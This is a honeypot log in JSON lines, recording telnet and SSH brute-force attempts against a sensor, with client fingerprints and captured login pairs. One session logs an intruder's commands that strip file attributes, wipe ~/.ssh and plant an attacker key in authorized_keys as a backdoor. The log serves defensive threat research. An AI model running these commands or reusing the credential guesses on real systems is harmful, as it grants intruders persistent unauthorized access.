{"eventid":"cowrie.session.closed","duration":41.0008864402771,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:31.526596Z","src_ip":"68.183.198.12","session":"e287ad2df439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58586,"dst_ip":"10.17.0.5","dst_port":23,"session":"571f146cd1a6","protocol":"telnet","message":"New connection: 64.227.101.30:58586 (10.17.0.5:23) [session: 571f146cd1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:42.307805Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"878b3f05e9eb","protocol":"telnet","message":"New connection: 64.227.101.30:58250 (10.17.0.5:23) [session: 878b3f05e9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:45.963248Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58296,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf1e6803b59","protocol":"telnet","message":"New connection: 68.183.198.12:58296 (159.203.135.109:23) [session: cdf1e6803b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:46.288610Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59204,"dst_ip":"10.17.0.5","dst_port":23,"session":"a24b298b8aaa","protocol":"telnet","message":"New connection: 64.227.101.30:59204 (10.17.0.5:23) [session: a24b298b8aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:49.259247Z"}
{"eventid":"cowrie.session.closed","duration":4.292048931121826,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:50.580544Z","src_ip":"68.183.198.12","session":"cdf1e6803b59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52146,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf10b1b628c6","protocol":"telnet","message":"New connection: 64.227.101.30:52146 (10.17.0.5:23) [session: bf10b1b628c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:53.545289Z"}
{"eventid":"cowrie.session.closed","duration":0.004318952560424805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:53.549482Z","src_ip":"64.227.101.30","session":"bf10b1b628c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6753ff5ae309","protocol":"telnet","message":"New connection: 64.227.101.30:32924 (10.17.0.5:23) [session: 6753ff5ae309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:54.396865Z"}
{"eventid":"cowrie.session.closed","duration":35.99209451675415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:55.028268Z","src_ip":"64.227.101.30","session":"4c53c73bffed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f28e5e5b0c79","protocol":"telnet","message":"New connection: 64.227.101.30:36768 (10.17.0.5:23) [session: f28e5e5b0c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:00.160123Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37340,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa02eef818f0","protocol":"telnet","message":"New connection: 64.227.101.30:37340 (10.17.0.5:23) [session: aa02eef818f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:01.569858Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38976,"dst_ip":"10.17.0.5","dst_port":23,"session":"79dcf79e8bf3","protocol":"telnet","message":"New connection: 64.227.101.30:38976 (10.17.0.5:23) [session: 79dcf79e8bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:05.671993Z"}
{"eventid":"cowrie.session.closed","duration":48.05471873283386,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:06.913656Z","src_ip":"68.183.198.12","session":"0caf6f1e2a69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb3b4109e70","protocol":"telnet","message":"New connection: 68.183.198.12:60936 (159.203.135.109:23) [session: 7cb3b4109e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:08.153466Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4b4a01de3f","protocol":"telnet","message":"New connection: 64.227.101.30:41008 (10.17.0.5:23) [session: ab4b4a01de3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:10.439436Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":37622,"dst_ip":"10.17.0.5","dst_port":22,"session":"320dbd56818b","protocol":"ssh","message":"New connection: 78.40.217.56:37622 (10.17.0.5:22) [session: 320dbd56818b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:10.801281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:10.806585Z","src_ip":"78.40.217.56","session":"320dbd56818b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:10.945940Z","src_ip":"78.40.217.56","session":"320dbd56818b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"meV0ooli","message":"login attempt [root/meV0ooli] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:11.526804Z","src_ip":"78.40.217.56","session":"320dbd56818b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:12.667711Z","src_ip":"78.40.217.56","session":"320dbd56818b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41946,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ade4df495c","protocol":"telnet","message":"New connection: 64.227.101.30:41946 (10.17.0.5:23) [session: 40ade4df495c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:13.595170Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33250,"dst_ip":"159.203.135.109","dst_port":23,"session":"326b6b339220","protocol":"telnet","message":"New connection: 68.183.198.12:33250 (159.203.135.109:23) [session: 326b6b339220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:14.428506Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b644978c7dff","protocol":"telnet","message":"New connection: 64.227.101.30:42390 (10.17.0.5:23) [session: b644978c7dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:14.598189Z"}
{"eventid":"cowrie.session.closed","duration":120.00857210159302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:21.547794Z","src_ip":"64.227.101.30","session":"71c2c4384a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":41458,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a0bffcc7911","protocol":"ssh","message":"New connection: 43.165.185.71:41458 (10.17.0.5:22) [session: 3a0bffcc7911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:23.769721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:23.774668Z","src_ip":"43.165.185.71","session":"3a0bffcc7911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:23.950684Z","src_ip":"43.165.185.71","session":"3a0bffcc7911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ftpserv","message":"login attempt [ubuntu/ftpserv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:24.677805Z","src_ip":"43.165.185.71","session":"3a0bffcc7911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.409648418426514,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:25.372788Z","src_ip":"64.227.101.30","session":"878b3f05e9eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:25.857108Z","src_ip":"43.165.185.71","session":"3a0bffcc7911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49332,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df52cc6a449","protocol":"telnet","message":"New connection: 64.227.101.30:49332 (10.17.0.5:23) [session: 8df52cc6a449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:27.919396Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49880,"dst_ip":"10.17.0.5","dst_port":23,"session":"c692cb14478a","protocol":"telnet","message":"New connection: 64.227.101.30:49880 (10.17.0.5:23) [session: c692cb14478a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:28.931378Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":56486,"dst_ip":"159.203.135.109","dst_port":22,"session":"877d37aedd8d","protocol":"ssh","message":"New connection: 200.118.150.20:56486 (159.203.135.109:22) [session: 877d37aedd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:30.812646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:30.817517Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:30.901996Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.268924Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.490120Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.493602Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.497925Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.585444Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.801097Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.804565Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.54917335510254,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.856684Z","src_ip":"64.227.101.30","session":"571f146cd1a6","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.893446Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.897283Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":56598,"dst_ip":"159.203.135.109","dst_port":22,"session":"732848485017","protocol":"ssh","message":"New connection: 200.118.150.20:56598 (159.203.135.109:22) [session: 732848485017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.976361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:31.981982Z","src_ip":"200.118.150.20","session":"732848485017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:32.069456Z","src_ip":"200.118.150.20","session":"732848485017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:32.445643Z","src_ip":"200.118.150.20","session":"732848485017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00178074836731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:32.452836Z","src_ip":"64.227.101.30","session":"b30220ac9065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:33.534871Z","src_ip":"200.118.150.20","session":"732848485017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":56758,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c24a7d3190e","protocol":"ssh","message":"New connection: 200.118.150.20:56758 (159.203.135.109:22) [session: 5c24a7d3190e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:33.620910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:33.625159Z","src_ip":"200.118.150.20","session":"5c24a7d3190e","protocol":"ssh"}
